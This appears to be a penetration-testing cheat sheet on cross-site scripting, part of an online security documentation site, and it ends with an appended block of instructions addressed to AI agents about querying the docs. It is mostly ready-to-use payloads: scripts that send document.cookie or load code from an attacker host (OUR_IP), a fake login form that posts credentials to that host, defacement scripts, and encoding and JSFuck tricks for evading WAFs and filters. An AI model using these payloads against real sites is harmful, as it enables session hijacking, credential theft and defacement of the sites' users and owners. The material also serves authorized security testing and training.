# Cross Site Scripting (XSS)

## **Introduction**

> Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.\
> XSS normally allows an attacker to masquerade as a victim user, carrying out any actions that the user is able to perform and accessing any of the user's data.\
> **Source:** <https://portswigger.net/web-security/cross-site-scripting>

***

## **XSS Useful References**

{% hint style="info" %}
Awesome labs to train your XSS skills:\
<https://xssy.uk/>
{% endhint %}

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection>
* <https://github.com/s0md3v/AwesomeXSS?tab=readme-ov-file#awesome-bypassing>
* <https://github.com/payloadbox/xss-payload-list>

***

## **XSS Tools**

* <https://github.com/alessio-romano/UniXSS>
* <https://github.com/s0md3v/XSStrike>
* <https://github.com/rajeshmajumdar/BruteXSS>
* <https://github.com/epsylon/xsser>

***

## **Basic XSS Payloads**

| Code                                                                            | Description               |
| ------------------------------------------------------------------------------- | ------------------------- |
| `<script>alert(window.origin)</script>`                                         | Basic XSS Payload         |
| `<plaintext>`                                                                   | Basic XSS Payload         |
| `<script>print()</script>`                                                      | Basic XSS Payload         |
| `<img src="" onerror=alert(window.origin)>`                                     | HTML-based XSS Payload    |
| `<script src="http://OUR_IP/script.js"></script>`                               | Load remote script        |
| `<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>` | Send Cookie details to us |

***

## XSS Filters & WAFs Evasion

Web Application Firewalls (WAFs) inspect requests, analyse payloads, and apply predefined rule sets to identify and block any malicious traffic.

WAFs can protect web applications by leveraging various techniques such as signature-based pattern matching, behaviour analysis, and anomaly detection.

This section focuses on different methods which could help you bypassing XSS filters, whether they are in place due to the web application's implementation or due to a Web Application Firewall.\
\
If you are not sure whether the web application is protected by a WAF, some basic fingerprinting checks you can perform are the following:

* Use automated tools, such as [`wafw00f`](https://github.com/EnableSecurity/wafw00f)
* Check if there are cookie values set by the WAF\
  Example: `F5 BIG-IP ASM` releases cookies starting with `TS`
* `Server` headers or any other uncommon header
* Sometimes, the HTTP body contains some hints about the WAF in place.

{% hint style="info" %}
Many more infos and WAF fingerprinting techniques can be found here:\
<https://github.com/0xInfection/Awesome-WAF>
{% endhint %}

***

### Extra Hints & Tricks

* If `alert()` is filtered, a valid (and less filtered) alternative is `confirm()`
* You can close tags using `//` rather than `>`
* Sometimes, you can access DOM Objects by just specifying their name.\
  Instead of using `document.cookie` and `document.domain` you can use `cookie` and `domain` respectively.
* `http(s)://` can be shortened to `//` or `/\\` or `\\`.
* Quotes are not required as long as you are not using spaces. For example you can use `<img src=http://example.com` without specifying any quotes.
* If all HTML tags are filtered, you can sometimes use custom ones, for example:\
  `<22>alert()</22>`

### Alternative Encodings

If your characters are being filtered, a good starting point is trying the following alternative encodings

<table data-full-width="false"><thead><tr><th width="103">Char</th><th width="121">HTML</th><th>Numeric</th><th>Hex</th><th width="108">CSS (ISO)</th><th width="111">JS (Octal)</th><th>URL</th></tr></thead><tbody><tr><td>"</td><td><code>&#x26;quot;</code></td><td><code>&#x26;#34;</code></td><td>u+0022</td><td>\0022</td><td>\42</td><td>%22</td></tr><tr><td>#</td><td><code>&#x26;num;</code></td><td><code>&#x26;#35;</code></td><td>u+0023</td><td>\0023</td><td>\43</td><td>%23</td></tr><tr><td>$</td><td><code>&#x26;dollar;</code></td><td><code>&#x26;#36;</code></td><td>u+0024</td><td>\0024</td><td>\44</td><td>%24</td></tr><tr><td>%</td><td><code>&#x26;percnt;</code></td><td><code>&#x26;#37;</code></td><td>u+0025</td><td>\0025</td><td>\45</td><td>%25</td></tr><tr><td>&#x26;</td><td><code>&#x26;amp;</code></td><td><code>&#x26;#38;</code></td><td>u+0026</td><td>\0026</td><td>\46</td><td>%26</td></tr><tr><td>'</td><td><code>&#x26;apos;</code></td><td><code>&#x26;#39;</code></td><td>u+0027</td><td>\0027</td><td>\47</td><td>%27</td></tr><tr><td>(</td><td><code>&#x26;lpar;</code></td><td><code>&#x26;#40;</code></td><td>u+0028</td><td>\0028</td><td>\50</td><td>%28</td></tr><tr><td>)</td><td><code>&#x26;rpar;</code></td><td><code>&#x26;#41;</code></td><td>u+0029</td><td>\0029</td><td>\51</td><td>%29</td></tr><tr><td>*</td><td><code>&#x26;ast;</code></td><td><code>&#x26;#42;</code></td><td>u+002A</td><td>\002a</td><td>\52</td><td>%2A</td></tr><tr><td>+</td><td><code>&#x26;plus;</code></td><td><code>&#x26;#43;</code></td><td>u+002B</td><td>\002b</td><td>\53</td><td>%2B</td></tr><tr><td>,</td><td><code>&#x26;comma;</code></td><td><code>&#x26;#44;</code></td><td>u+002C</td><td>\002c</td><td>\54</td><td>%2C</td></tr><tr><td>-</td><td><code>&#x26;minus;</code></td><td><code>&#x26;#45;</code></td><td>u+002D</td><td>\002d</td><td>\55</td><td>%2D</td></tr><tr><td>.</td><td><code>&#x26;period;</code></td><td><code>&#x26;#46;</code></td><td>u+002E</td><td>\002e</td><td>\56</td><td>%2E</td></tr><tr><td>/</td><td><code>&#x26;sol;</code></td><td><code>&#x26;#47;</code></td><td>u+002F</td><td>\002f</td><td>\57</td><td>%2F</td></tr><tr><td>:</td><td><code>&#x26;colon;</code></td><td><code>&#x26;#58;</code></td><td>u+003A</td><td>\003a</td><td>\72</td><td>%3A</td></tr><tr><td>;</td><td><code>&#x26;semi;</code></td><td><code>&#x26;#59;</code></td><td>u+003B</td><td>\003b</td><td>\73</td><td>%3B</td></tr><tr><td>&#x3C;</td><td><code>&#x26;lt;</code></td><td><code>&#x26;#60;</code></td><td>u+003C</td><td>\003c</td><td>\74</td><td>%3C</td></tr><tr><td>=</td><td><code>&#x26;equals;</code></td><td><code>&#x26;#61;</code></td><td>u+003D</td><td>\003d</td><td>\75</td><td>%3D</td></tr><tr><td>></td><td><code>&#x26;gt;</code></td><td><code>&#x26;#62;</code></td><td>u+003E</td><td>\003e</td><td>\76</td><td>%3E</td></tr><tr><td>?</td><td><code>&#x26;quest;</code></td><td><code>&#x26;#63;</code></td><td>u+003F</td><td>\003f</td><td>\77</td><td>%3F</td></tr><tr><td>@</td><td><code>&#x26;commat;</code></td><td><code>&#x26;#64;</code></td><td>u+0040</td><td>\0040</td><td>\100</td><td>%40</td></tr><tr><td>[</td><td><code>&#x26;lsqb;</code></td><td><code>&#x26;#91;</code></td><td>u+005B</td><td>\005b</td><td>\133</td><td>%5B</td></tr><tr><td>\</td><td><code>&#x26;bsol;</code></td><td><code>&#x26;#92;</code></td><td>u+005C</td><td>\005c</td><td>\134</td><td>%5C</td></tr><tr><td>]</td><td><code>&#x26;rsqb;</code></td><td><code>&#x26;#93;</code></td><td>u+005D</td><td>\005d</td><td>\135</td><td>%5D</td></tr><tr><td>^</td><td><code>&#x26;Hat;</code></td><td><code>&#x26;#94;</code></td><td>u+005E</td><td>\005e</td><td>\136</td><td>%5E</td></tr><tr><td>_</td><td><code>&#x26;lowbar;</code></td><td><code>&#x26;#95;</code></td><td>u+005F</td><td>\005f</td><td>\137</td><td>%5F</td></tr><tr><td>`</td><td><code>&#x26;grave;</code></td><td><code>&#x26;#96;</code></td><td>u+0060</td><td>\0060</td><td>\u0060</td><td>%60</td></tr><tr><td>{</td><td><code>&#x26;lcub;</code></td><td><code>&#x26;#123;</code></td><td>u+007b</td><td>\007b</td><td>\173</td><td>%7b</td></tr><tr><td>|</td><td><code>&#x26;verbar;</code></td><td><code>&#x26;#124;</code></td><td>u+007c</td><td>\007c</td><td>\174</td><td>%7c</td></tr><tr><td>}</td><td><code>&#x26;rcub;</code></td><td><code>&#x26;#125;</code></td><td>u+007d</td><td>\007d</td><td>\175</td><td>%7d</td></tr></tbody></table>

***

### Unicode Normalization

Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing

Depending on how the back-end/front-end is behaving when it **receives weird unicode characters** an attacker might be able to **bypass protections and inject arbitrary characters.** Indeed, sometimes, unicode normalization even allows bypassing WAFs in place.

You can find find a great article about this topic here:\
<https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/>

Two lists of unicode normalized characters can be found at:

* <https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html>
* <https://0xacb.com/normalization_table>

{% hint style="success" %}
I made a tool to help converting characters to their corresponding unicode normalized value, which I suggest to anyone. You can find my helper tool to perform Unicode Normalization here: <https://github.com/alessio-romano/UniXSS>
{% endhint %}

If you prefer, you can also find a list of copy-paste unicode normalized characters below:

| Character | Unicode Normalization            |
| --------- | -------------------------------- |
| <         | %EF%BC%9C                        |
| >         | %EF%BC%9E                        |
| ≮         | <p>%e2%89%ae</p><p>\&#x226e;</p> |
| ﹤         | <p>%ef%b9%a4<br>\&#xfe64;</p>    |
| ＜         | <p>%ef%bc%9c<br>\&#xff1c;</p>    |
| ≯         | <p>%e2%89%af<br>\&#x226f;</p>    |
| ﹥         | <p>%ef%b9%a5<br>\&#xfe65;</p>    |
| ＞         | <p>%ef%bc%9e<br>\&#xff1e;</p>    |
| '         | %ef%bc%87                        |
| "         | %ef%bc%82                        |
| =         | %e2%81%bc                        |
| /         | %ef%bc%8f                        |

### Bypass Using JSFuck

JSFuck is an esoteric JavaScript programming language that only uses the following 6 characters to write any JavaScript code: `[]()!+`

{% hint style="info" %}
The (very) basic idea behind JSFuck is that you can recreate all JavaScript functionalities using such a limited set of characters because JavaScript is a weakly typed programming language, meaning that it allows the evaluation of any expression as any type.\
\
If you want to know more about its inner workings, check out this [link](https://github.com/aemkei/jsfuck?tab=readme-ov-file#how-it-works).
{% endhint %}

The following represents an `alert(1)` payload written in JSFuck

```javascript
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()
```

<figure><img src="/files/070H0lxckID2IKMGBWZB" alt=""><figcaption><p>Triggering an alert(1) message in Firefox's console using JSFuck</p></figcaption></figure>

Link: <https://jsfuck.com/>\
GitHub Repo: <https://github.com/aemkei/jsfuck>

***

## XSS Attacks

{% hint style="info" %}
XSS attacks are not just about popping the alert message containing cookies.

This section describes some alternative attacks you can perform by exploiting XSS vulnerabilities
{% endhint %}

***

### Open Redirect to XSS

Whenever you are facing a web application which is vulnerable to Open Redirects, it might also be the case that the same vector can be used to gain XSS.

An example might be a website which allows for open redirects by leveraging a GET parameter, such as the following: `vulnerable.com/test.php?redirect_url={value}`

Instead of using the standard http or https protocols followed by your attacker website, you might insert a `javascript` payload as the `value` of the `redirect_url` parameter.\
For example, you could navigate to the following URL to pop an alert:\
`vulnerable.com/test.php?redirect_url=javascript:alert(document.domain)`

***

### **XSS Session Hijacking**

* Use the following XSS Payload: `<script src=http://OUR_IP/script.js></script>`
* On the attacker machine, write one of the following payload inside a file named `script.js`:
  1. `new Image().src='http://OUR_IP/index.php?c='+document.cookie`
  2. `document.location='http://OUR_IP/index.php?c='+document.cookie;`

***

### **XSS Phishing**

> * A common form of XSS phishing is obtained with stored XSS
> * The attacker can inject a fake login form that sends the credentials to an attacker's server,
> * To perform a Stored XSS phishing attack, we must inject an HTML code that displays a login form on the targeted page.
> * An example of such login form is the following (Note: Change `OUR_IP` in the payload)

```
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
```

***

### **XSS Defacing**

> * Defacing means changing the website's appearance for anyone who visits the website
> * The website's appearance can be changed using injected Javascript code
> * Note: This requires a stored XSS Vulnerability

| Defacing Payload                                                                    | Description                                  |
| ----------------------------------------------------------------------------------- | -------------------------------------------- |
| `<script>document.body.style.background = "#141d2b"</script>`                       | Change website background color              |
| `<script>document.body.background = "https://example.com/images/logo.svg"</script>` | Change website background image              |
| `<script>document.title = 'New Title'</script>`                                     | Change website title                         |
| `document.getElementById("todo").innerHTML = "New Text"`                            | Change HTML element/DOM text using innerHTML |


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.sectest.it/web-applications/web-attacks/cross-site-scripting-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
